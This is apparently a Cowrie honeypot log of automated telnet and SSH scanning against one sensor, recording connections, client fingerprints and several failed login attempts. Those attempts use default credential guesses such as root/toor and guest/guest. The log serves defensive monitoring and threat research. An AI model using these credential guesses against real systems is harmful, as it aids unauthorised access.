{"eventid":"cowrie.session.closed","duration":44.55620551109314,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.506639Z","src_ip":"38.54.119.93","session":"fa5fd4b6d77d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"80acc9f5fb81","protocol":"telnet","message":"New connection: 62.210.97.77:38800 (10.17.0.5:23) [session: 80acc9f5fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:21.526591Z"}
{"eventid":"cowrie.session.closed","duration":39.398425340652466,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:22.058836Z","src_ip":"62.210.97.77","session":"ce3313df8727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38810,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af4c6f52c71","protocol":"telnet","message":"New connection: 62.210.97.77:38810 (10.17.0.5:23) [session: 0af4c6f52c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:22.946869Z"}
{"eventid":"cowrie.session.closed","duration":30.26387095451355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.046741Z","src_ip":"136.144.139.78","session":"64bc465feaa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.714401960372925,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.167069Z","src_ip":"38.54.119.93","session":"320788025c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41354,"dst_ip":"10.17.0.5","dst_port":22,"session":"355ed0cb2422","protocol":"ssh","message":"New connection: 176.65.132.254:41354 (10.17.0.5:22) [session: 355ed0cb2422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.294930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.299434Z","src_ip":"176.65.132.254","session":"355ed0cb2422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.380246Z","src_ip":"176.65.132.254","session":"355ed0cb2422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.625847Z","src_ip":"176.65.132.254","session":"355ed0cb2422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38822,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b4c98662b24","protocol":"telnet","message":"New connection: 62.210.97.77:38822 (10.17.0.5:23) [session: 1b4c98662b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.805131Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60524,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfa7118adb9","protocol":"telnet","message":"New connection: 136.144.139.78:60524 (159.203.135.109:23) [session: 4cfa7118adb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:23.890421Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34616,"dst_ip":"159.203.135.109","dst_port":23,"session":"57d0c63d2361","protocol":"telnet","message":"New connection: 134.209.8.29:34616 (159.203.135.109:23) [session: 57d0c63d2361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:24.301359Z"}
{"eventid":"cowrie.session.closed","duration":37.043256759643555,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:24.428058Z","src_ip":"65.60.27.33","session":"d255b2dbc005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:24.710774Z","src_ip":"176.65.132.254","session":"355ed0cb2422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60538,"dst_ip":"159.203.135.109","dst_port":23,"session":"109f1b39a903","protocol":"telnet","message":"New connection: 136.144.139.78:60538 (159.203.135.109:23) [session: 109f1b39a903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:25.283048Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60550,"dst_ip":"159.203.135.109","dst_port":23,"session":"87314f626f82","protocol":"telnet","message":"New connection: 136.144.139.78:60550 (159.203.135.109:23) [session: 87314f626f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:26.065449Z"}
{"eventid":"cowrie.session.closed","duration":52.22170948982239,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:26.220532Z","src_ip":"134.209.8.29","session":"4455b8b457d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ea772ea9ba","protocol":"telnet","message":"New connection: 62.210.97.77:38830 (10.17.0.5:23) [session: d6ea772ea9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.189252Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41362,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e17442702ba","protocol":"ssh","message":"New connection: 176.65.132.254:41362 (10.17.0.5:22) [session: 0e17442702ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.532011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.536691Z","src_ip":"176.65.132.254","session":"0e17442702ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.618940Z","src_ip":"176.65.132.254","session":"0e17442702ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.52567720413208,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.765726Z","src_ip":"38.54.119.93","session":"cdf4e6004c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"066234f686b0","protocol":"telnet","message":"New connection: 136.144.139.78:60562 (159.203.135.109:23) [session: 066234f686b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.854712Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.864587Z","src_ip":"176.65.132.254","session":"0e17442702ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a0a3967b6d","protocol":"telnet","message":"New connection: 65.60.27.33:39818 (10.17.0.5:23) [session: a1a0a3967b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:27.993730Z"}
{"eventid":"cowrie.session.closed","duration":38.1113555431366,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:28.061152Z","src_ip":"62.210.97.77","session":"9977f98e42f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:29.153975Z","src_ip":"176.65.132.254","session":"0e17442702ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba927619532","protocol":"telnet","message":"New connection: 136.144.139.78:60566 (159.203.135.109:23) [session: 3ba927619532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:29.237178Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c28d9a548db9","protocol":"telnet","message":"New connection: 62.210.97.77:39000 (10.17.0.5:23) [session: c28d9a548db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:29.446446Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39014,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeac87de26f9","protocol":"telnet","message":"New connection: 62.210.97.77:39014 (10.17.0.5:23) [session: aeac87de26f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:30.493705Z"}
{"eventid":"cowrie.session.closed","duration":30.66845941543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:31.059673Z","src_ip":"136.144.139.78","session":"38fc9eb06f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41370,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcf196edd6e","protocol":"ssh","message":"New connection: 176.65.132.254:41370 (10.17.0.5:22) [session: 9fcf196edd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:31.739531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:31.743700Z","src_ip":"176.65.132.254","session":"9fcf196edd6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:31.838215Z","src_ip":"176.65.132.254","session":"9fcf196edd6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:32.086789Z","src_ip":"176.65.132.254","session":"9fcf196edd6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39018,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c57a38f8e2","protocol":"telnet","message":"New connection: 62.210.97.77:39018 (10.17.0.5:23) [session: a5c57a38f8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:32.219576Z"}
{"eventid":"cowrie.session.closed","duration":34.70833206176758,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:32.381785Z","src_ip":"62.210.97.77","session":"8c9041a1d331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:33.371629Z","src_ip":"176.65.132.254","session":"9fcf196edd6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d9592cae290","protocol":"telnet","message":"New connection: 62.210.97.77:39026 (10.17.0.5:23) [session: 0d9592cae290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:33.392834Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb28a4d1c5a0","protocol":"telnet","message":"New connection: 136.144.139.78:40562 (159.203.135.109:23) [session: eb28a4d1c5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:34.021093Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6e311e3a42","protocol":"telnet","message":"New connection: 62.210.97.77:39030 (10.17.0.5:23) [session: ed6e311e3a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:34.113629Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33952,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2dc7a473a19","protocol":"telnet","message":"New connection: 134.209.8.29:33952 (159.203.135.109:23) [session: e2dc7a473a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:34.271643Z"}
{"eventid":"cowrie.session.closed","duration":37.19535994529724,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:34.479302Z","src_ip":"62.210.97.77","session":"49380996c1a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":40576,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec944faf215d","protocol":"telnet","message":"New connection: 136.144.139.78:40576 (159.203.135.109:23) [session: ec944faf215d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:34.675211Z"}
{"eventid":"cowrie.session.closed","duration":31.109459161758423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:35.168823Z","src_ip":"136.144.139.78","session":"e567914e19e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e96ed700e7f","protocol":"ssh","message":"New connection: 176.65.132.254:54882 (10.17.0.5:22) [session: 8e96ed700e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:35.871050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:35.876034Z","src_ip":"176.65.132.254","session":"8e96ed700e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:35.958442Z","src_ip":"176.65.132.254","session":"8e96ed700e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":52034,"dst_ip":"10.17.0.5","dst_port":22,"session":"64c1c1efac70","protocol":"ssh","message":"New connection: 187.16.96.250:52034 (10.17.0.5:22) [session: 64c1c1efac70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:35.997838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.002990Z","src_ip":"187.16.96.250","session":"64c1c1efac70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.124378Z","src_ip":"187.16.96.250","session":"64c1c1efac70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.202729Z","src_ip":"176.65.132.254","session":"8e96ed700e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34924507141113,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.283449Z","src_ip":"62.210.97.77","session":"7a601c701744","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1","message":"login attempt [developer/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.624628Z","src_ip":"187.16.96.250","session":"64c1c1efac70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.95516800880432,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:36.985020Z","src_ip":"65.60.27.33","session":"806ec792f37d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39038,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe2b6eb87063","protocol":"telnet","message":"New connection: 62.210.97.77:39038 (10.17.0.5:23) [session: fe2b6eb87063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:37.276282Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:37.285825Z","src_ip":"176.65.132.254","session":"8e96ed700e7f","protocol":"ssh"}
